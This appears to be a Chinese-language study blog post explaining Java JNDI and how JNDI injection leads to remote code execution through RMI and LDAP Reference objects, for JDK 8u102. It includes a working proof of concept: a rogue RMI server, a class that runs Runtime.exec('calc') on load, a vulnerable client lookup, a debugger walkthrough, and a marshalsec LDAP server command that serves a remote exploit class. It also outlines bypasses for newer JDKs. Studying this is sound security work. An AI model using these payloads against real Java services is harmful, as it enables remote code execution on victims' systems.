概念
JNDI(Java Naming and Directory Interface)
是Java提供的Java 命名和目录接口
。通过调用JNDI
的API
应用程序可以定位资源和其他程序对象。JNDI
可访问的现有的目录及服务有:JDBC
、LDAP
、RMI
、DNS
、NIS
、CORBA
。
Naming Service 命名服务:
命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。
Directory Service 目录服务:
目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。
Reference 引用:
在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。
JNDI目录服务
访问
JNDI
目录服务时会通过预先设置好环境变量访问对应的服务, 如果创建JNDI
上下文(Context
)时未指定环境变量
对象,JNDI
会自动搜索系统属性(System.getProperty())
、applet 参数
和应用程序资源文件(jndi.properties)
。
使用JNDI
创建目录服务对象代码片段:
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "类名");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, "url");
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
Context.INITIAL_CONTEXT_FACTORY(初始上下文工厂的环境属性名称)
指的是JNDI
服务处理的具体类名称,如:RMI
服务可以使用com.sun.jndi.rmi.registry.RegistryContextFactory
类来处理。
JNDI
上下文工厂类必须实现javax.naming.spi.InitialContextFactory
接口,通过重写getInitialContext
方法来创建服务。
javax.naming.spi.InitialContextFactory:
copypackage javax.naming.spi;
public interface InitialContextFactory {
public Context getInitialContext(Hashtable<?,?> environment) throws NamingException;
}
JNDI-RMI远程方法调用
先启动RMI
服务,再使用JNDI连接即可调用。
package com.study.jndi;
import com.study.rmi.server.Hello;
import javax.naming.Context;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
public class jnditest {
public static void main(String[] args) {
String providerURL = "rmi://127.0.0.1:1099";
// 创建环境变量对象
Hashtable env = new Hashtable();
// 设置JNDI初始化工厂类名
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
// 设置JNDI提供服务的URL地址
env.put(Context.PROVIDER_URL, providerURL);
// 通过JNDI调用远程RMI方法测试
try {
// 创建JNDI目录服务对象
DirContext context = new InitialDirContext(env);
// 通过命名服务查找远程RMI绑定的RMITestInterface对象
Hello test = (Hello) context.lookup("rmi://127.0.0.1:1099/hello");
System.out.println(test.sayHello("CyanM0un"));
} catch (Exception e) {
e.printStackTrace();
}
}
}
JNDI-协议转换
如果JNDI
在lookup
时没有指定初始化工厂名称,会自动根据协议类型动态查找内置的工厂类然后创建处理对应的服务请求。
如上述代码中
Hello test = (Hello) context.lookup("rmi://127.0.0.1:1099/hello");
会自动使用rmiURLContext
处理RMI
请求。
JNDI注入
在JNDI
服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。
在
RMI
服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly
配置必须为false(允许加载远程对象)
,如果该值为true
则禁止引用远程对象。除此之外被引用的ObjectFactory
对象还将受到com.sun.jndi.rmi.object.trustURLCodebase
配置限制,如果该值为false(不信任远程引用对象)
一样无法调用远程的引用对象。
JNDI
注入简单来说就是在JNDI
接口在初始化时,如:InitialContext.lookup(URI)
,如果URI可控,那么客户端就可能会被攻击
RMI + JNDI Reference
javax.naming.Reference
构造方法为:Reference(String className, String factory, String factoryLocation)
className
- 远程加载时所使用的类名classFactory
- 加载的class
中需要实例化类的名称classFactoryLocation
- 提供classes
数据的地址可以是file/ftp/http
等协议
因为Reference
没有实现Remote
接口也没有继承UnicastRemoteObject
类,故不能作为远程对象bind到注册中心,所以需要使用ReferenceWrapper
对Reference
的实例进行一个封装。
我们可以通过恶意服务端程序bind注册一个命名引用到Registry注册中心,也就是Reference,当客户端程序lookup它并下载到本地后,会使用Reference的classFactoryLocation指定的地址去下载className指定class文件,攻击者可以在构造方法或者是静态代码等地方加入恶意代码,接着加载并实例化,从而加载远程恶意class实现RCE。
以下例子jdk
版本为8u102
(另,刚好学到这的时候服务器到期了,好贵,就本地测试了。貌似真实场景下还会有网速等影响,emmm - -)
服务端代码
package com.study.jndi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
public class RMIServer {
public static void main(String[] args) throws Exception{
Registry registry= LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", "http://localhost:80/");
ReferenceWrapper wrapper = new ReferenceWrapper(reference);
registry.bind("calc", wrapper);
}
}
恶意代码(test.class)
import java.lang.Runtime;
public class test{
public test() throws Exception{
Runtime.getRuntime().exec("calc");
}
}
客户端代码
package com.study.jndi;
import javax.naming.InitialContext;
public class ClientTest {
public static void main(String[] args) throws Exception{
new InitialContext().lookup("rmi://127.0.0.1:1099/calc");
}
}
debug分析如下:
我们跟入该lookup函数
继续跟进到其后面的lookup函数
其中蓝标处即为去注册中心调用lookup查找,继续跟进
var2得到RMI服务IP,地址等信息,关键在于之后的decodeObject函数,跟进
我们在RMI服务端绑定的是一个Reference对象,如果是Reference对象会进入var1.getReference(),与RMI服务器进行一次连接,获取到远程class文件地址。如果是普通RMI对象服务,这里不会进行连接,只有在正式远程函数调用的时候才会连接RMI服务,继续跟进。
这里要获得factory,跟进getObjectFactoryFromReference
此处clas = helper.loadClass(factoryName);
尝试从本地加载Factory
类,如果不存在本地不存在此类,则会从codebase
中加载:clas = helper.loadClass(factoryName, codebase);
会从远程加载我们恶意class。
可以看到是通过URLClassLoader
加载,服务器也收到请求
在return
那里return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
对我们的恶意类进行一个实例化,进而加载执行恶意代码。
对于这种利用方式Java在其JDK 6u132、7u122、8u113
中进行了限制,即上面提到的com.sun.jndi.rmi.object.trustURLCodebase
默认值变为false
LDAP + JNDI Reference
LDAP
和RMI
同理。启动LDAP服务端程序后我们会在LDAP
请求中返回一个含有恶意攻击代码的对象工厂的远程jar
地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory
)类然后调用其中的getObjectInstance
方法从而触发该方法中的恶意RCE
代码。
LDAP
LDAP(Lightweight Directory Access Protocol)-轻量目录访问协议。但看了这个解释等于没说,其实也就是一个数据库,可以把它与mysql对比!
特点:
- 基于TCP/IP协议
- 同样也是分成服务端/客户端;同样也是服务端存储数据,客户端与服务端连接进行操作
- 相对于mysql的表型存储;不同的是LDAP使用树型存储
树层次分为以下几层:
dn:一条记录的详细位置,由以下几种属性组成
- dc: 一条记录所属区域(哪一个树,相当于MYSQL的数据库)
- ou:一条记录所处的分叉(哪一个分支,支持多个ou,代表分支后的分支)
- cn/uid:一条记录的名字/ID(树的叶节点的编号,想到与MYSQL的表主键?)
举个例子一条记录就是 dn=“uid=songtao.xu,ou=oa,dc=example,dc=com”
之前记得看过LDAP注入,有兴趣的可以看看:LDAP注入与防御解析
利用起来是差不多,搭LDAPServer好麻烦(也不太熟…),可以用工具来搭,marshalsec反序列化工具
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:8080/文件夹/#ExploitClass(恶意类地址) 8088(不加的话默认是1389)
成功弹出
分析过程也不再赘述,又LDAP所需的jdk版本稍高于RMI,所以用LDAP命中率较高
高版本jdk下JNDI注入利用
这里有篇文章:如何绕过高版本 JDK 的限制进行 JNDI 注入利用,方法大致如下
- 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类,并利用这个本地的Factory类执行命令。
- 利用LDAP直接返回一个恶意的序列化对象,JNDI注入依然会对该对象进行反序列化操作,利用反序列化Gadget完成命令执行。
非常依赖受害者本地CLASSPATH中环境,需要利用受害者本地的Gadget进行攻击。(日后再加以复现学习)